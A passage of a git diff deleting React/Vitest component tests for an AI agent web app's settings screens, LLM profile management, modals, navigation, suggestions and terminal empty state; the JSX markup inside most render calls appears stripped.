expect(handleDelete).toHaveBeenCalledWith(mockProfile); - }); - - it("has accessible menu trigger button", () => { - render(); - - const menuTrigger = screen.getByTestId("profile-menu-trigger"); - expect(menuTrigger).toHaveAttribute("aria-label", "Profile menu"); - }); - - it("renders the opened menu outside the row container so ancestor overflow cannot clip it", async () => { - const user = userEvent.setup(); - - const { container } = render(); - - await user.click(screen.getByTestId("profile-menu-trigger")); - - const menu = screen.getByTestId("profile-actions-menu"); - expect(container.contains(menu)).toBe(false); - }); -}); diff --git a/__tests__/components/settings/llm-profiles/profiles-body.test.tsx b/__tests__/components/settings/llm-profiles/profiles-body.test.tsx deleted file mode 100644 index e05edbdad..000000000 --- a/__tests__/components/settings/llm-profiles/profiles-body.test.tsx +++ /dev/null @@ -1,130 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, expect, it, vi } from "vitest"; -import { ProfilesBody } from "#/components/features/settings/llm-profiles/profiles-body"; -import { ProfileInfo } from "#/api/profiles-service/profiles-service.api"; - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ - t: (key: string) => { - const translations: Record = { - SETTINGS$PROFILES_LOAD_ERROR: "Failed to load profiles", - SETTINGS$PROFILES_EMPTY: "No profiles saved yet", - SETTINGS$PROFILE_ACTIVE: "Active", - SETTINGS$PROFILE_MENU: "Profile menu", - SETTINGS$PROFILE_EDIT: "Edit", - BUTTON$RENAME: "Rename", - SETTINGS$PROFILE_SET_ACTIVE: "Set as active", - BUTTON$DELETE: "Delete", - }; - return translations[key] || key; - }, - }), -})); - -const mockProfiles: ProfileInfo[] = [ - { - name: "gpt-4-profile", - model: "openai/gpt-4", - base_url: null, - api_key_set: true, - }, - { - name: "claude-profile", - model: "anthropic/claude-3", - base_url: "https://api.anthropic.com", - api_key_set: false, - }, -]; - -const defaultProps = { - isLoading: false, - loadError: null, - profiles: mockProfiles, - active: "gpt-4-profile", - canManage: true, - onActivate: vi.fn(), - onEdit: vi.fn(), - onRename: vi.fn(), - onDuplicate: vi.fn(), - onDelete: vi.fn(), - isActivating: false, -}; - -describe("ProfilesBody", () => { - it("shows loading spinner when isLoading is true", () => { - render(); - - expect(screen.getByTestId("loading-spinner")).toBeInTheDocument(); - }); - - it("shows error message when loadError is present", () => { - render( - , - ); - - expect(screen.getByText("Failed to load profiles")).toBeInTheDocument(); - }); - - it("shows empty state when profiles array is empty", () => { - render(); - - expect(screen.getByText("No profiles saved yet")).toBeInTheDocument(); - }); - - it("renders a list of profiles", () => { - render(); - - expect(screen.getByText("gpt-4-profile")).toBeInTheDocument(); - expect(screen.getByText("openai/gpt-4")).toBeInTheDocument(); - expect(screen.getByText("claude-profile")).toBeInTheDocument(); - expect(screen.getByText("anthropic/claude-3")).toBeInTheDocument(); - }); - - it("renders profile rows for each profile", () => { - render(); - - const rows = screen.getAllByTestId("profile-row"); - expect(rows).toHaveLength(2); - }); - - it("shows Active badge for the active profile", () => { - render(); - - // Only the active profile should have the badge - const badges = screen.getAllByTestId("profile-active-badge"); - expect(badges).toHaveLength(1); - }); - - it("loading state takes priority over error", () => { - render( - , - ); - - expect(screen.getByTestId("loading-spinner")).toBeInTheDocument(); - expect( - screen.queryByText("Failed to load profiles"), - ).not.toBeInTheDocument(); - }); - - it("error state takes priority over empty state", () => { - render( - , - ); - - expect(screen.getByText("Failed to load profiles")).toBeInTheDocument(); - expect(screen.queryByText("No profiles saved yet")).not.toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/settings/llm-profiles/rename-profile-modal.test.tsx b/__tests__/components/settings/llm-profiles/rename-profile-modal.test.tsx deleted file mode 100644 index 5985b9187..000000000 --- a/__tests__/components/settings/llm-profiles/rename-profile-modal.test.tsx +++ /dev/null @@ -1,277 +0,0 @@ -import { render, screen, waitFor } from "@testing-library/react"; -import { describe, expect, it, vi, beforeEach, afterEach } from "vitest"; -import userEvent from "@testing-library/user-event"; -import React from "react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { RenameProfileModal } from "#/components/features/settings/llm-profiles/rename-profile-modal"; -import { ProfileInfo } from "#/api/profiles-service/profiles-service.api"; -import ProfilesService from "#/api/profiles-service/profiles-service.api"; - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ - t: (key: string, params?: Record) => { - const translations: Record = { - "SETTINGS$PROFILE_RENAME_TITLE": "Rename Profile", - "SETTINGS$PROFILE_NAME_LABEL": "Profile Name", - "SETTINGS$PROFILE_NAME_PLACEHOLDER": "Enter profile name", - "SETTINGS$PROFILE_NAME_RULE": - "1-64 chars, start with alphanumeric, then alphanumerics or . _ -", - "SETTINGS$PROFILE_RENAMED": params?.name - ? `Profile renamed to ${params.name}` - : "Profile renamed", - "BUTTON$RENAME": "Rename", - "BUTTON$CANCEL": "Cancel", - "ERROR$GENERIC": "An error occurred", - }; - return translations[key] || key; - }, - }), -})); - -vi.mock("#/api/profiles-service/profiles-service.api"); - -vi.mock("#/utils/custom-toast-handlers", () => ({ - displaySuccessToast: vi.fn(), - displayErrorToast: vi.fn(), -})); - -const mockProfile: ProfileInfo = { - name: "old-profile-name", - model: "openai/gpt-4", - base_url: null, - api_key_set: true, -}; - -describe("RenameProfileModal", () => { - let queryClient: QueryClient; - - const renderModal = (profile: ProfileInfo | null, onClose = vi.fn()) => { - return render( - - - , - ); - }; - - beforeEach(() => { - queryClient = new QueryClient({ - defaultOptions: { - queries: { retry: false }, - mutations: { retry: false }, - }, - }); - }); - - afterEach(() => { - queryClient.clear(); - vi.clearAllMocks(); - }); - - it("returns null when profile is null", () => { - const { container } = renderModal(null); - expect(container.firstChild).toBeNull(); - }); - - it("renders the modal when profile is provided", () => { - renderModal(mockProfile); - expect(screen.getByTestId("rename-profile-modal")).toBeInTheDocument(); - }); - - it("pre-fills the input with the current profile name", () => { - renderModal(mockProfile); - expect(screen.getByTestId("rename-profile-input")).toHaveValue( - "old-profile-name", - ); - }); - - it("shows Rename and Cancel buttons", () => { - renderModal(mockProfile); - expect(screen.getByTestId("rename-profile-submit")).toHaveTextContent( - "Rename", - ); - expect(screen.getByText("Cancel")).toBeInTheDocument(); - }); - - it("places Cancel before Rename in the footer so the dominant action is the last focusable button", () => { - // Arrange: render the modal so both footer buttons are mounted. - renderModal(mockProfile); - - // Act: locate both footer buttons. - const cancel = screen.getByText("Cancel"); - const submit = screen.getByTestId("rename-profile-submit"); - - // Assert: Cancel precedes the dominant Rename action in DOM order. - // eslint-disable-next-line no-bitwise - expect( - cancel.compareDocumentPosition(submit) & - Node.DOCUMENT_POSITION_FOLLOWING, - ).toBeTruthy(); - }); - - it("calls onClose when Cancel is clicked", async () => { - const user = userEvent.setup(); - const handleClose = vi.fn(); - renderModal(mockProfile, handleClose); - - await user.click(screen.getByText("Cancel")); - - expect(handleClose).toHaveBeenCalledTimes(1); - }); - - it("calls onClose when name is unchanged and Rename is clicked", async () => { - const user = userEvent.setup(); - const handleClose = vi.fn(); - renderModal(mockProfile, handleClose); - - // Name is already "old-profile-name", so clicking Rename should just close - await user.click(screen.getByTestId("rename-profile-submit")); - - expect(handleClose).toHaveBeenCalledTimes(1); - expect(ProfilesService.renameProfile).not.toHaveBeenCalled(); - }); - - it("calls renameProfile and closes on successful rename", async () => { - const user = userEvent.setup(); - const handleClose = vi.fn(); - vi.mocked(ProfilesService.renameProfile).mockResolvedValue({ - name: "new-profile-name", - message: "Profile renamed", - }); - - renderModal(mockProfile, handleClose); - - const input = screen.getByTestId("rename-profile-input"); - await user.clear(input); - await user.type(input, "new-profile-name"); - await user.click(screen.getByTestId("rename-profile-submit")); - - await waitFor(() => { - expect(ProfilesService.renameProfile).toHaveBeenCalledWith( - "old-profile-name", - "new-profile-name", - ); - }); - - await waitFor(() => { - expect(handleClose).toHaveBeenCalled(); - }); - }); - - it("disables submit button when name is invalid", async () => { - const user = userEvent.setup(); - renderModal(mockProfile); - - const input = screen.getByTestId("rename-profile-input"); - await user.clear(input); - await user.type(input, ".invalid-name"); - - const submitButton = screen.getByTestId("rename-profile-submit"); - expect(submitButton).toBeDisabled(); - }); - - it("marks the input as invalid for names violating the format rule", async () => { - const user = userEvent.setup(); - renderModal(mockProfile); - - const input = screen.getByTestId("rename-profile-input"); - await user.clear(input); - await user.type(input, ".invalid-name"); - - expect(input).toHaveAttribute("aria-invalid", "true"); - }); - - it("updates input value when a different profile is passed", () => { - const { rerender } = render( - - - , - ); - - expect(screen.getByTestId("rename-profile-input")).toHaveValue( - "old-profile-name", - ); - - const newProfile: ProfileInfo = { - ...mockProfile, - name: "different-profile", - }; - - rerender( - - - , - ); - - expect(screen.getByTestId("rename-profile-input")).toHaveValue( - "different-profile", - ); - }); - - it("shows error toast and keeps modal open on rename failure", async () => { - const user = userEvent.setup(); - const { displayErrorToast } = await import( - "#/utils/custom-toast-handlers" - ); - vi.mocked(ProfilesService.renameProfile).mockRejectedValue( - new Error("Name already exists"), - ); - - const onClose = vi.fn(); - renderModal(mockProfile, onClose); - - const input = screen.getByTestId("rename-profile-input"); - await user.clear(input); - await user.type(input, "duplicate-name"); - await user.click(screen.getByTestId("rename-profile-submit")); - - await waitFor(() => { - expect(displayErrorToast).toHaveBeenCalledWith("Name already exists"); - }); - - // Modal should stay open after error (onClose not called) - expect(onClose).not.toHaveBeenCalled(); - expect(screen.getByTestId("rename-profile-modal")).toBeInTheDocument(); - }); - - it("submits form when Enter key is pressed with valid name", async () => { - const user = userEvent.setup(); - const handleClose = vi.fn(); - vi.mocked(ProfilesService.renameProfile).mockResolvedValue({ - name: "new-name", - message: "Profile renamed", - }); - - renderModal(mockProfile, handleClose); - - const input = screen.getByTestId("rename-profile-input"); - await user.clear(input); - await user.type(input, "new-name{Enter}"); - - await waitFor(() => { - expect(ProfilesService.renameProfile).toHaveBeenCalledWith( - "old-profile-name", - "new-name", - ); - }); - - await waitFor(() => { - expect(handleClose).toHaveBeenCalled(); - }); - }); - - it("does not submit form when Enter key is pressed with invalid name", async () => { - const user = userEvent.setup(); - const handleClose = vi.fn(); - - renderModal(mockProfile, handleClose); - - const input = screen.getByTestId("rename-profile-input"); - await user.clear(input); - await user.type(input, ".invalid{Enter}"); - - // Should not call rename or close - expect(ProfilesService.renameProfile).not.toHaveBeenCalled(); - expect(handleClose).not.toHaveBeenCalled(); - expect(screen.getByTestId("rename-profile-modal")).toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/settings/settings-input.test.tsx b/__tests__/components/settings/settings-input.test.tsx deleted file mode 100644 index c2c6f6506..000000000 --- a/__tests__/components/settings/settings-input.test.tsx +++ /dev/null @@ -1,109 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, expect, it, vi } from "vitest"; -import userEvent from "@testing-library/user-event"; -import { SettingsInput } from "#/components/features/settings/settings-input"; - -describe("SettingsInput", () => { - it("should render an optional tag if showOptionalTag is true", async () => { - const { rerender } = render( - , - ); - - expect(screen.queryByText(/optional/i)).not.toBeInTheDocument(); - - rerender( - , - ); - - expect(screen.getByText(/optional/i)).toBeInTheDocument(); - }); - - it("should disable the input if isDisabled is true", async () => { - const { rerender } = render( - , - ); - - expect(screen.getByTestId("test-input")).toBeEnabled(); - - rerender( - , - ); - - expect(screen.getByTestId("test-input")).toBeDisabled(); - }); - - it("should set a placeholder on the input", async () => { - render( - , - ); - - expect(screen.getByTestId("test-input")).toHaveAttribute( - "placeholder", - "Test Placeholder", - ); - }); - - it("should set a default value on the input", async () => { - render( - , - ); - - expect(screen.getByTestId("test-input")).toHaveValue("Test Value"); - }); - - it("should render start content", async () => { - const startContent =
    Start Content
    ; - - render( - , - ); - - expect(screen.getByText("Start Content")).toBeInTheDocument(); - }); - - it("should call onChange with the input value", async () => { - const onChangeMock = vi.fn(); - const user = userEvent.setup(); - - render( - , - ); - - const input = screen.getByTestId("test-input"); - await user.type(input, "Test"); - - expect(onChangeMock).toHaveBeenCalledTimes(4); - expect(onChangeMock).toHaveBeenNthCalledWith(4, "Test"); - }); -}); diff --git a/__tests__/components/settings/settings-switch.test.tsx b/__tests__/components/settings/settings-switch.test.tsx deleted file mode 100644 index 054bbc932..000000000 --- a/__tests__/components/settings/settings-switch.test.tsx +++ /dev/null @@ -1,64 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { describe, expect, it, vi } from "vitest"; -import { SettingsSwitch } from "#/components/features/settings/settings-switch"; - -describe("SettingsSwitch", () => { - it("should call the onChange handler when the input is clicked", async () => { - const user = userEvent.setup(); - const onToggleMock = vi.fn(); - render( - - Test Switch - , - ); - - const switchInput = screen.getByTestId("test-switch"); - - await user.click(switchInput); - expect(onToggleMock).toHaveBeenCalledWith(true); - - await user.click(switchInput); - expect(onToggleMock).toHaveBeenCalledWith(false); - }); - - it("should render a beta tag if isBeta is true", () => { - const { rerender } = render( - - Test Switch - , - ); - - expect(screen.queryByText(/beta/i)).not.toBeInTheDocument(); - - rerender( - - Test Switch - , - ); - - expect(screen.getByText(/beta/i)).toBeInTheDocument(); - }); - - it("should be able to set a default toggle state", async () => { - const user = userEvent.setup(); - const onToggleMock = vi.fn(); - render( - - Test Switch - , - ); - - expect(screen.getByTestId("test-switch")).toBeChecked(); - - const switchInput = screen.getByTestId("test-switch"); - await user.click(switchInput); - expect(onToggleMock).toHaveBeenCalledWith(false); - - expect(screen.getByTestId("test-switch")).not.toBeChecked(); - }); -}); diff --git a/__tests__/components/shared/brand-button.test.tsx b/__tests__/components/shared/brand-button.test.tsx deleted file mode 100644 index ee8eb5d45..000000000 --- a/__tests__/components/shared/brand-button.test.tsx +++ /dev/null @@ -1,55 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { describe, expect, it, vi } from "vitest"; -import { BrandButton } from "#/components/features/settings/brand-button"; - -describe("BrandButton", () => { - const onClickMock = vi.fn(); - - it("should set a test id", () => { - render( - - Test Button - , - ); - - expect(screen.getByTestId("brand-button")).toBeInTheDocument(); - }); - - it("should call onClick when clicked", async () => { - const user = userEvent.setup(); - render( - - Test Button - , - ); - - await user.click(screen.getByText("Test Button")); - }); - - it("should be disabled if isDisabled is true", () => { - render( - - Test Button - , - ); - - expect(screen.getByText("Test Button")).toBeDisabled(); - }); - - it("should pass a start content", () => { - render( - Start Content
    - } - > - Test Button - , - ); - - screen.getByTestId("custom-start-content"); - }); -}); diff --git a/__tests__/components/shared/buttons/back-nav-button.test.tsx b/__tests__/components/shared/buttons/back-nav-button.test.tsx deleted file mode 100644 index d260979d1..000000000 --- a/__tests__/components/shared/buttons/back-nav-button.test.tsx +++ /dev/null @@ -1,18 +0,0 @@ -import { render, screen, fireEvent } from "@testing-library/react"; -import { describe, it, expect, vi } from "vitest"; -import { BackNavButton } from "#/components/shared/buttons/back-nav-button"; - -describe("BackNavButton", () => { - it("renders a back button that fires onClick when clicked", () => { - const onClick = vi.fn(); - render( - - - , - ); - - fireEvent.click(screen.getByTestId("back-button")); - - expect(onClick).toHaveBeenCalledTimes(1); - }); -}); diff --git a/__tests__/components/shared/modals/modal-backdrop.test.tsx b/__tests__/components/shared/modals/modal-backdrop.test.tsx deleted file mode 100644 index 672c50aad..000000000 --- a/__tests__/components/shared/modals/modal-backdrop.test.tsx +++ /dev/null @@ -1,113 +0,0 @@ -import { describe, expect, it, vi } from "vitest"; -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; - -import { ModalBackdrop } from "#/components/shared/modals/modal-backdrop"; - -describe("ModalBackdrop", () => { - it("portals out of a transformed ancestor so position: fixed resolves against the viewport", () => { - // Arrange: a transformed ancestor would otherwise become the - // containing block for `position: fixed` descendants and trap the - // modal inside it (the OnboardingModal / InstallServerModal bug). - render( -
    - -

    modal content

    -
    -
    , - ); - - // Act - const dialog = screen.getByRole("dialog"); - const transformedAncestor = screen.getByTestId("transformed-ancestor"); - - // Assert - expect(transformedAncestor.contains(dialog)).toBe(false); - expect(document.body.contains(dialog)).toBe(true); - }); - - it("calls onClose when the user presses Escape", async () => { - // Arrange - const user = userEvent.setup(); - const onClose = vi.fn(); - render( - -

    modal content

    -
    , - ); - - // Act - await user.keyboard("{Escape}"); - - // Assert - expect(onClose).toHaveBeenCalledTimes(1); - }); - - it("calls onClose when the backdrop is clicked but not when the content is clicked", async () => { - // Arrange - const user = userEvent.setup(); - const onClose = vi.fn(); - render( - - - , - ); - - // Act: click the content first — this must NOT close. - await user.click(screen.getByRole("button", { name: "inside content" })); - const callsAfterContentClick = onClose.mock.calls.length; - - // Act: now click the backdrop overlay (the dialog root's backdrop child). - const dialog = screen.getByRole("dialog"); - const backdrop = dialog.firstElementChild as HTMLElement; - await user.click(backdrop); - - // Assert - expect(callsAfterContentClick).toBe(0); - expect(onClose).toHaveBeenCalledTimes(1); - }); - - it("does not call onClose when the backdrop is clicked and closeOnBackdropClick is false", async () => { - const user = userEvent.setup(); - const onClose = vi.fn(); - render( - - - , - ); - - const dialog = screen.getByRole("dialog"); - const backdrop = dialog.firstElementChild as HTMLElement; - await user.click(backdrop); - - expect(onClose).not.toHaveBeenCalled(); - }); - - it("stacks above the default modal layer when elevated", () => { - // Arrange: a default backdrop (the layer the onboarding modal uses) and an - // elevated backdrop (the layer the telemetry consent banner opts into). - render( - <> - -

    default modal

    -
    - -

    elevated modal

    -
    - , - ); - - // Act: read the numeric stacking layer each modal renders on. jsdom cannot - // compute paint order, so compare the z-index the overlay carries. - const layerOf = (name: string) => - Number( - screen - .getByRole("dialog", { name }) - .className.match(/z-\[?(\d+)\]?/)?.[1] ?? 0, - ); - - // Assert: the elevated modal paints above the default one regardless of - // mount order, so the consent banner is never covered by the onboarding modal. - expect(layerOf("elevated-modal")).toBeGreaterThan(layerOf("default-modal")); - }); -}); diff --git a/__tests__/components/shared/modals/settings/settings-form.test.tsx b/__tests__/components/shared/modals/settings/settings-form.test.tsx deleted file mode 100644 index 1ec063919..000000000 --- a/__tests__/components/shared/modals/settings/settings-form.test.tsx +++ /dev/null @@ -1,146 +0,0 @@ -import { fireEvent, screen, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { beforeEach, describe, expect, it, vi } from "vitest"; -import { renderWithProviders } from "test-utils"; -import SettingsService from "#/api/settings-service/settings-service.api"; -import { SettingsForm } from "#/components/shared/modals/settings/settings-form"; -import { DEFAULT_SETTINGS } from "#/services/settings"; -import { getAgentSettingValue } from "#/utils/sdk-settings-schema"; - -const trackSettingsSavedMock = vi.fn(); -vi.mock("#/hooks/use-tracking", () => ({ - useTracking: () => ({ - trackSettingsSaved: trackSettingsSavedMock, - }), -})); - -describe("SettingsForm", () => { - const onCloseMock = vi.fn(); - const saveSettingsSpy = vi.spyOn(SettingsService, "saveSettings"); - - // The persisted llm.model is "openhands/"; ModelSelector splits it into - // provider ("openhands" → "OpenHands") and model name ("") and feeds - // them into two autocompletes. extractSettings reconstructs llm.model - // from those two FormData entries on submit, so we wait for the model - // autocomplete to be populated before triggering submission — otherwise - // the spy would be called with model = undefined. - const expectedModel = getAgentSettingValue( - DEFAULT_SETTINGS, - "llm.model", - ) as string; - const expectedModelName = expectedModel.split("/").slice(1).join("/"); - - beforeEach(() => { - vi.clearAllMocks(); - saveSettingsSpy.mockResolvedValue(true); - }); - - it("should save the user settings and close the modal when submitted outside a conversation route", async () => { - renderWithProviders( - , - { - navigation: { currentPath: "/settings" }, - }, - ); - - await waitFor(() => { - expect(screen.getByTestId("llm-model-input")).toHaveValue( - expectedModelName, - ); - }); - - // The Autocomplete popover may be open at this point; click on the save - // button can be consumed by the outside-click handler. Submit the form - // element directly — the production onSubmit handler is what we're - // exercising here, not the click semantics. - fireEvent.submit(screen.getByTestId("settings-form")); - - await waitFor(() => { - expect(saveSettingsSpy).toHaveBeenCalledWith( - expect.objectContaining({ - agent_settings_diff: expect.objectContaining({ - llm: expect.objectContaining({ - model: expectedModel, - }), - }), - }), - ); - }); - await waitFor(() => { - expect(onCloseMock).toHaveBeenCalled(); - }); - }); - - it("should confirm before saving when submitted from a conversation route", async () => { - const user = userEvent.setup(); - renderWithProviders( - , - { - navigation: { - currentPath: "/conversations/test-conversation-id", - conversationId: "test-conversation-id", - }, - }, - ); - - await waitFor(() => { - expect(screen.getByTestId("llm-model-input")).toHaveValue( - expectedModelName, - ); - }); - - fireEvent.submit(screen.getByTestId("settings-form")); - - expect(saveSettingsSpy).not.toHaveBeenCalled(); - - // The confirm modal mounts after the form submit handler runs the - // conversation-route branch, so wait for it instead of using a sync - // getByRole. - const confirmButton = await screen.findByRole("button", { - name: /BUTTON\$END_SESSION|end session/i, - }); - - await user.click(confirmButton); - - await waitFor(() => { - expect(saveSettingsSpy).toHaveBeenCalledWith( - expect.objectContaining({ - agent_settings_diff: expect.objectContaining({ - llm: expect.objectContaining({ - model: expectedModel, - }), - }), - }), - ); - }); - await waitFor(() => { - expect(onCloseMock).toHaveBeenCalled(); - }); - }); - - it("calls trackSettingsSaved with LLM details when form is submitted", async () => { - renderWithProviders( - , - { - navigation: { currentPath: "/settings" }, - }, - ); - - await waitFor(() => { - expect(screen.getByTestId("llm-model-input")).toHaveValue( - expectedModelName, - ); - }); - - fireEvent.submit(screen.getByTestId("settings-form")); - - await waitFor(() => { - expect(trackSettingsSavedMock).toHaveBeenCalledWith( - expect.objectContaining({ - llmApiKeySet: expect.stringMatching(/^(SET|UNSET)$/), - searchApiKeySet: expect.stringMatching(/^(SET|UNSET)$/), - }), - ); - }); - }); -}); diff --git a/__tests__/components/shared/modals/settings/settings-modal.test.tsx b/__tests__/components/shared/modals/settings/settings-modal.test.tsx deleted file mode 100644 index a829aefd1..000000000 --- a/__tests__/components/shared/modals/settings/settings-modal.test.tsx +++ /dev/null @@ -1,27 +0,0 @@ -import { describe, expect, it, vi } from "vitest"; -import { screen } from "@testing-library/react"; -import { MemoryRouter } from "react-router"; -import { renderWithProviders } from "test-utils"; -import { SettingsModal } from "#/components/shared/modals/settings/settings-modal"; -import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers"; - -describe("SettingsModal", () => { - it("renders an advanced settings link that opens in a new window", () => { - renderWithProviders( - - - , - ); - - const advancedSettingsLink = screen.getByTestId("advanced-settings-link"); - const linkElement = advancedSettingsLink.querySelector("a"); - - expect(linkElement).toBeInTheDocument(); - expect(linkElement).toHaveAttribute("href", "/settings"); - expect(linkElement).toHaveAttribute("target", "_blank"); - expect(linkElement).toHaveAttribute("rel", "noreferrer noopener"); - }); -}); diff --git a/__tests__/components/shared/navigation-link.test.tsx b/__tests__/components/shared/navigation-link.test.tsx deleted file mode 100644 index 2a18628d5..000000000 --- a/__tests__/components/shared/navigation-link.test.tsx +++ /dev/null @@ -1,57 +0,0 @@ -import { render, screen, fireEvent } from "@testing-library/react"; -import { describe, expect, it, vi } from "vitest"; -import { - NavigationProvider, - type NavigationContextValue, -} from "#/context/navigation-context"; -import { NavigationLink } from "#/components/shared/navigation-link"; - -function renderNavigationLink( - currentPath = "/", - overrides: Partial = {}, -) { - const value: NavigationContextValue = { - currentPath, - conversationId: null, - isNavigating: false, - navigate: vi.fn(), - ...overrides, - }; - - const result = render( - - MCP - , - ); - - return { - ...result, - navigate: value.navigate, - }; -} - -describe("NavigationLink", () => { - it("renders the destination href and active state from navigation context", () => { - renderNavigationLink("/settings/mcp"); - - expect(screen.getByRole("link", { name: "MCP" })).toHaveAttribute( - "href", - "/settings/mcp", - ); - expect(screen.getByRole("link", { name: "MCP" })).toHaveAttribute( - "aria-current", - "page", - ); - }); - - it("uses the injected navigate callback on click", () => { - const { navigate } = renderNavigationLink(); - const link = screen.getByRole("link", { name: "MCP" }); - - fireEvent.click(link); - - expect(navigate).toHaveBeenCalledWith("/settings/mcp", { - replace: false, - }); - }); -}); diff --git a/__tests__/components/shared/text-shimmer.test.tsx b/__tests__/components/shared/text-shimmer.test.tsx deleted file mode 100644 index 8abf93dc5..000000000 --- a/__tests__/components/shared/text-shimmer.test.tsx +++ /dev/null @@ -1,30 +0,0 @@ -import { describe, expect, it, vi } from "vitest"; -import { render, screen } from "@testing-library/react"; -import { TextShimmer } from "#/components/shared/text-shimmer"; - -vi.mock("framer-motion", async () => { - const actual = await vi.importActual( - "framer-motion", - ); - return { - ...actual, - useReducedMotion: () => false, - }; -}); - -describe("TextShimmer", () => { - it("renders with a clipped dual-layer shimmer background", () => { - render( - - Sending... - , - ); - - const shimmer = screen.getByTestId("shimmer"); - expect(shimmer.style.backgroundImage).toContain("repeating-linear-gradient"); - expect(shimmer.style.backgroundImage).toContain("var(--oh-foreground)"); - expect(shimmer.style.backgroundImage).toContain("var(--oh-muted)"); - expect(shimmer.style.backgroundSize).toBe("200% 100%"); - expect(shimmer.style.animation).toContain("oh-text-shimmer-"); - }); -}); diff --git a/__tests__/components/suggestion-item.test.tsx b/__tests__/components/suggestion-item.test.tsx deleted file mode 100644 index f44c6e101..000000000 --- a/__tests__/components/suggestion-item.test.tsx +++ /dev/null @@ -1,58 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { afterEach, describe, expect, it, vi } from "vitest"; -import { SuggestionItem } from "#/components/features/suggestions/suggestion-item"; -import { I18nKey } from "#/i18n/declaration"; - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ - t: (key: string) => { - const translations: Record = { - SUGGESTIONS$TODO_APP: "ToDoリストアプリを開発する", - LANDING$BUILD_APP_BUTTON: "プルリクエストを表示するアプリを開発する", - SUGGESTIONS$HACKER_NEWS: - "Hacker Newsのトップ記事を表示するbashスクリプトを作成する", - }; - return translations[key] || key; - }, - }), -})); - -describe("SuggestionItem", () => { - const suggestionItem = { label: "suggestion1", value: "a long text value" }; - const onClick = vi.fn(); - - afterEach(() => { - vi.clearAllMocks(); - }); - - it("should render a suggestion", () => { - render(); - - expect(screen.getByTestId("suggestion")).toBeInTheDocument(); - expect(screen.getByText(/suggestion1/i)).toBeInTheDocument(); - }); - - it("should render a translated suggestion when using I18nKey", async () => { - const translatedSuggestion = { - label: I18nKey.SUGGESTIONS$TODO_APP, - value: "todo app value", - }; - - render( - , - ); - - expect(screen.getByText("ToDoリストアプリを開発する")).toBeInTheDocument(); - }); - - it("should call onClick when clicking a suggestion", async () => { - const user = userEvent.setup(); - render(); - - const suggestion = screen.getByTestId("suggestion"); - await user.click(suggestion); - - expect(onClick).toHaveBeenCalledWith("a long text value"); - }); -}); diff --git a/__tests__/components/suggestions.test.tsx b/__tests__/components/suggestions.test.tsx deleted file mode 100644 index 33290819c..000000000 --- a/__tests__/components/suggestions.test.tsx +++ /dev/null @@ -1,60 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { afterEach, describe, expect, it, vi } from "vitest"; -import { Suggestions } from "#/components/features/suggestions/suggestions"; - -describe("Suggestions", () => { - const firstSuggestion = { - label: "first-suggestion", - value: "value-of-first-suggestion", - }; - const secondSuggestion = { - label: "second-suggestion", - value: "value-of-second-suggestion", - }; - const suggestions = [firstSuggestion, secondSuggestion]; - - const onSuggestionClickMock = vi.fn(); - - afterEach(() => { - vi.clearAllMocks(); - }); - - it("should render suggestions", () => { - render( - , - ); - - expect(screen.getByTestId("suggestions")).toBeInTheDocument(); - const suggestionElements = screen.getAllByTestId("suggestion"); - - expect(suggestionElements).toHaveLength(2); - expect(suggestionElements[0]).toHaveTextContent("first-suggestion"); - expect(suggestionElements[1]).toHaveTextContent("second-suggestion"); - }); - - it("should call onSuggestionClick when clicking a suggestion", async () => { - const user = userEvent.setup(); - render( - , - ); - - const suggestionElements = screen.getAllByTestId("suggestion"); - - await user.click(suggestionElements[0]); - expect(onSuggestionClickMock).toHaveBeenCalledWith( - "value-of-first-suggestion", - ); - - await user.click(suggestionElements[1]); - expect(onSuggestionClickMock).toHaveBeenCalledWith( - "value-of-second-suggestion", - ); - }); -}); diff --git a/__tests__/components/terminal/terminal-empty-state.test.tsx b/__tests__/components/terminal/terminal-empty-state.test.tsx deleted file mode 100644 index 256e994c8..000000000 --- a/__tests__/components/terminal/terminal-empty-state.test.tsx +++ /dev/null @@ -1,73 +0,0 @@ -import { screen } from "@testing-library/react"; -import { describe, expect, it, vi, beforeEach } from "vitest"; -import { useCommandStore } from "#/stores/command-store"; -import { useAgentState } from "#/hooks/use-agent-state"; -import { AgentState } from "#/types/agent-state"; - -vi.mock("#/hooks/use-agent-state"); - -const mockTerminalInstance = { - open: vi.fn(), - write: vi.fn(), - writeln: vi.fn(), - dispose: vi.fn(), - loadAddon: vi.fn(), -}; - -vi.mock("@xterm/xterm", async (importOriginal) => ({ - ...(await importOriginal()), - Terminal: vi.fn(function MockTerminal() { - return mockTerminalInstance; - }), -})); - -vi.mock("@xterm/addon-fit", () => ({ - FitAddon: vi.fn(function MockFitAddon() { - return { fit: vi.fn() }; - }), -})); - -import { renderWithProviders } from "test-utils"; -import Terminal from "#/components/features/terminal/terminal"; - -describe("Terminal empty state", () => { - beforeEach(() => { - useCommandStore.setState({ commands: [] }); - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.RUNNING, - }); - global.ResizeObserver = vi.fn(function MockResizeObserver() { - return { - observe: vi.fn(), - disconnect: vi.fn(), - }; - }) as unknown as typeof ResizeObserver; - }); - - it("shows the empty state when runtime is active and there is no output", () => { - renderWithProviders(); - - expect(screen.getByText("TERMINAL$NO_OUTPUT")).toBeInTheDocument(); - }); - - it("hides the empty state when terminal commands exist", () => { - useCommandStore.setState({ - commands: [{ type: "output", content: "hello" }], - }); - - renderWithProviders(); - - expect(screen.queryByText("TERMINAL$NO_OUTPUT")).not.toBeInTheDocument(); - }); - - it("shows the runtime waiting state instead of the empty state when inactive", () => { - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.LOADING, - }); - - renderWithProviders(); - - 